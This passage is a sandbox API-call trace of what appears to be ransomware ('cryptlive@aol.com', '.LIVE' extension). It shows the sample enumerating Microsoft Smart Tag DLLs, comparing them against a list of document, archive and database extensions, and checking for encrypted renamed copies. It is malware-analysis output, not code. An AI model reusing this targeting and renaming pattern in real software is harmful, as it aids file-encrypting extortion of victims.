dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0129.707] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=17280) returned 1 [0129.707] CloseHandle (hObject=0x2fc) returned 1 [0129.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll")) returned 0x20 [0129.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0129.708] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0129.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0129.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0129.708] lstrlenW (lpString=".doc") returned 4 [0129.708] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0129.708] lstrlenW (lpString=".docx") returned 5 [0129.708] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0129.708] lstrlenW (lpString=".pdf") returned 4 [0129.708] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0129.708] lstrlenW (lpString=".xls") returned 4 [0129.708] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0129.708] lstrlenW (lpString=".xlsx") returned 5 [0129.708] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0129.708] lstrlenW (lpString=".ppt") returned 4 [0129.708] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0129.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0129.708] lstrlenW (lpString=".zip") returned 4 [0129.708] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0129.708] lstrlenW (lpString=".rar") returned 4 [0129.708] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0129.708] lstrlenW (lpString=".bz2") returned 4 [0129.708] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0129.708] lstrlenW (lpString=".7z") returned 3 [0129.708] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0129.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0129.708] lstrlenW (lpString=".dbf") returned 4 [0129.709] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0129.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0129.709] lstrlenW (lpString=".1cd") returned 4 [0129.709] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0129.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0129.709] lstrlenW (lpString=".jpg") returned 4 [0129.709] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0129.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0129.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0129.709] lstrlenW (lpString=".doc") returned 4 [0129.709] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0129.709] lstrlenW (lpString=".docx") returned 5 [0129.709] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0129.709] lstrlenW (lpString=".pdf") returned 4 [0129.709] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0129.709] lstrlenW (lpString=".xls") returned 4 [0129.709] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0129.709] lstrlenW (lpString=".xlsx") returned 5 [0129.709] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0129.709] lstrlenW (lpString=".ppt") returned 4 [0129.709] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0129.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0129.709] lstrlenW (lpString=".zip") returned 4 [0129.709] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0129.709] lstrlenW (lpString=".rar") returned 4 [0129.709] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0129.709] lstrlenW (lpString=".bz2") returned 4 [0129.709] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0129.709] lstrlenW (lpString=".7z") returned 3 [0129.709] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0129.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0129.709] lstrlenW (lpString=".dbf") returned 4 [0129.710] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0129.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0129.710] lstrlenW (lpString=".1cd") returned 4 [0129.710] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0129.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0129.710] lstrlenW (lpString=".jpg") returned 4 [0129.710] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0129.710] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".LIVE") returned -1 [0129.710] lstrlenW (lpString="STINTL.DLL.IDX_DLL") returned 18 [0129.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0129.711] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=13696) returned 1 [0129.711] CloseHandle (hObject=0x2fc) returned 1 [0129.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll")) returned 0x20 [0129.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0129.711] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0129.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0129.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0129.711] lstrlenW (lpString=".doc") returned 4 [0129.711] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0129.711] lstrlenW (lpString=".docx") returned 5 [0129.711] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0129.711] lstrlenW (lpString=".pdf") returned 4 [0129.711] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0129.711] lstrlenW (lpString=".xls") returned 4 [0129.711] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0129.711] lstrlenW (lpString=".xlsx") returned 5 [0129.711] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0129.712] lstrlenW (lpString=".ppt") returned 4 [0129.712] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0129.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0129.712] lstrlenW (lpString=".zip") returned 4 [0129.712] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0129.712] lstrlenW (lpString=".rar") returned 4 [0129.712] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0129.712] lstrlenW (lpString=".bz2") returned 4 [0129.712] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0129.712] lstrlenW (lpString=".7z") returned 3 [0129.712] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0129.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0129.712] lstrlenW (lpString=".dbf") returned 4 [0129.712] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0129.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0129.712] lstrlenW (lpString=".1cd") returned 4 [0129.712] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0129.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0129.712] lstrlenW (lpString=".jpg") returned 4 [0129.712] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0129.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0129.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0129.712] lstrlenW (lpString=".doc") returned 4 [0129.712] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0129.712] lstrlenW (lpString=".docx") returned 5 [0129.712] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0129.712] lstrlenW (lpString=".pdf") returned 4 [0129.712] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0129.712] lstrlenW (lpString=".xls") returned 4 [0129.712] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0129.712] lstrlenW (lpString=".xlsx") returned 5 [0129.712] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0129.713] lstrlenW (lpString=".ppt") returned 4 [0129.713] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0129.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0129.713] lstrlenW (lpString=".zip") returned 4 [0129.713] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0129.713] lstrlenW (lpString=".rar") returned 4 [0129.713] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0129.713] lstrlenW (lpString=".bz2") returned 4 [0129.713] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0129.713] lstrlenW (lpString=".7z") returned 3 [0129.713] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0129.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0129.713] lstrlenW (lpString=".dbf") returned 4 [0129.713] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0129.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0129.713] lstrlenW (lpString=".1cd") returned 4 [0129.713] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0129.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0129.713] lstrlenW (lpString=".jpg") returned 4 [0129.713] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0129.713] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0129.713] lstrlenW (lpString="FBIBLIO.DLL") returned 11 [0129.713] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0129.714] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=123776) returned 1 [0129.714] CloseHandle (hObject=0x2fc) returned 1 [0129.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll")) returned 0x20 [0129.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0129.714] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0129.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0129.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0129.715] lstrlenW (lpString=".doc") returned 4 [0129.715] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0129.715] lstrlenW (lpString=".docx") returned 5 [0129.715] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0129.715] lstrlenW (lpString=".pdf") returned 4 [0129.715] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0129.715] lstrlenW (lpString=".xls") returned 4 [0129.715] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0129.715] lstrlenW (lpString=".xlsx") returned 5 [0129.715] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0129.715] lstrlenW (lpString=".ppt") returned 4 [0129.715] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0129.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0129.715] lstrlenW (lpString=".zip") returned 4 [0129.715] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0129.715] lstrlenW (lpString=".rar") returned 4 [0129.715] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0129.715] lstrlenW (lpString=".bz2") returned 4 [0129.715] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0129.716] lstrlenW (lpString=".7z") returned 3 [0129.716] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0129.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0129.716] lstrlenW (lpString=".dbf") returned 4 [0129.716] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0129.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0129.716] lstrlenW (lpString=".1cd") returned 4 [0129.716] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0129.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0129.716] lstrlenW (lpString=".jpg") returned 4 [0129.716] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0129.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0129.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0129.716] lstrlenW (lpString=".doc") returned 4 [0129.716] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0129.716] lstrlenW (lpString=".docx") returned 5 [0129.716] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0129.716] lstrlenW (lpString=".pdf") returned 4 [0129.716] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0129.716] lstrlenW (lpString=".xls") returned 4 [0129.716] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0129.716] lstrlenW (lpString=".xlsx") returned 5 [0129.716] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0129.716] lstrlenW (lpString=".ppt") returned 4 [0129.716] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0129.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0129.716] lstrlenW (lpString=".zip") returned 4 [0129.716] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0129.716] lstrlenW (lpString=".rar") returned 4 [0129.716] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0129.716] lstrlenW (lpString=".bz2") returned 4 [0129.716] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0129.716] lstrlenW (lpString=".7z") returned 3 [0129.716] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0129.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0129.717] lstrlenW (lpString=".dbf") returned 4 [0129.717] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0129.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0129.717] lstrlenW (lpString=".1cd") returned 4 [0129.717] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0129.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL") returned 68 [0129.717] lstrlenW (lpString=".jpg") returned 4 [0129.717] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0129.717] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0129.717] lstrlenW (lpString="FDATE.DLL") returned 9 [0129.717] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0129.717] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=98176) returned 1 [0129.717] CloseHandle (hObject=0x2fc) returned 1 [0129.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll")) returned 0x20 [0129.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0129.718] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0129.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned 66 [0129.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned 66 [0129.718] lstrlenW (lpString=".doc") returned 4 [0129.718] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0129.718] lstrlenW (lpString=".docx") returned 5 [0129.718] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0129.718] lstrlenW (lpString=".pdf") returned 4 [0129.718] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0129.718] lstrlenW (lpString=".xls") returned 4 [0129.718] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0129.718] lstrlenW (lpString=".xlsx") returned 5 [0129.718] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0129.718] lstrlenW (lpString=".ppt") returned 4 [0129.718] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0129.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned 66 [0129.718] lstrlenW (lpString=".zip") returned 4 [0129.718] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0129.718] lstrlenW (lpString=".rar") returned 4 [0129.718] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0129.718] lstrlenW (lpString=".bz2") returned 4 [0129.718] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0129.718] lstrlenW (lpString=".7z") returned 3 [0129.718] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0129.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned 66 [0129.718] lstrlenW (lpString=".dbf") returned 4 [0129.719] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0129.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned 66 [0129.719] lstrlenW (lpString=".1cd") returned 4 [0129.719] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0129.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned 66 [0129.719] lstrlenW (lpString=".jpg") returned 4 [0129.719] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0129.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned 66 [0129.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned 66 [0129.719] lstrlenW (lpString=".doc") returned 4 [0129.719] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0129.719] lstrlenW (lpString=".docx") returned 5 [0129.719] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0129.719] lstrlenW (lpString=".pdf") returned 4 [0129.719] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0129.719] lstrlenW (lpString=".xls") returned 4 [0129.719] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0129.719] lstrlenW (lpString=".xlsx") returned 5 [0129.719] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0129.719] lstrlenW (lpString=".ppt") returned 4 [0129.719] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0129.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned 66 [0129.719] lstrlenW (lpString=".zip") returned 4 [0129.719] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0129.719] lstrlenW (lpString=".rar") returned 4 [0129.719] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0129.719] lstrlenW (lpString=".bz2") returned 4 [0129.719] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0129.720] lstrlenW (lpString=".7z") returned 3 [0129.720] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0129.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned 66 [0129.720] lstrlenW (lpString=".dbf") returned 4 [0129.720] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0129.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned 66 [0129.720] lstrlenW (lpString=".1cd") returned 4 [0129.720] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0129.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL") returned 66 [0129.720] lstrlenW (lpString=".jpg") returned 4 [0129.720] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0129.720] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0129.720] lstrlenW (lpString="FPERSON.DLL") returned 11 [0129.720] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0129.721] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=217984) returned 1 [0129.721] CloseHandle (hObject=0x2fc) returned 1 [0129.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll")) returned 0x20 [0129.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0129.721] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0129.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0129.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0129.722] lstrlenW (lpString=".doc") returned 4 [0129.722] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0129.722] lstrlenW (lpString=".docx") returned 5 [0129.722] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0129.722] lstrlenW (lpString=".pdf") returned 4 [0129.722] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0129.722] lstrlenW (lpString=".xls") returned 4 [0129.722] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0129.722] lstrlenW (lpString=".xlsx") returned 5 [0129.722] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0129.722] lstrlenW (lpString=".ppt") returned 4 [0129.722] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0129.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0129.722] lstrlenW (lpString=".zip") returned 4 [0129.722] lstrcmpiW 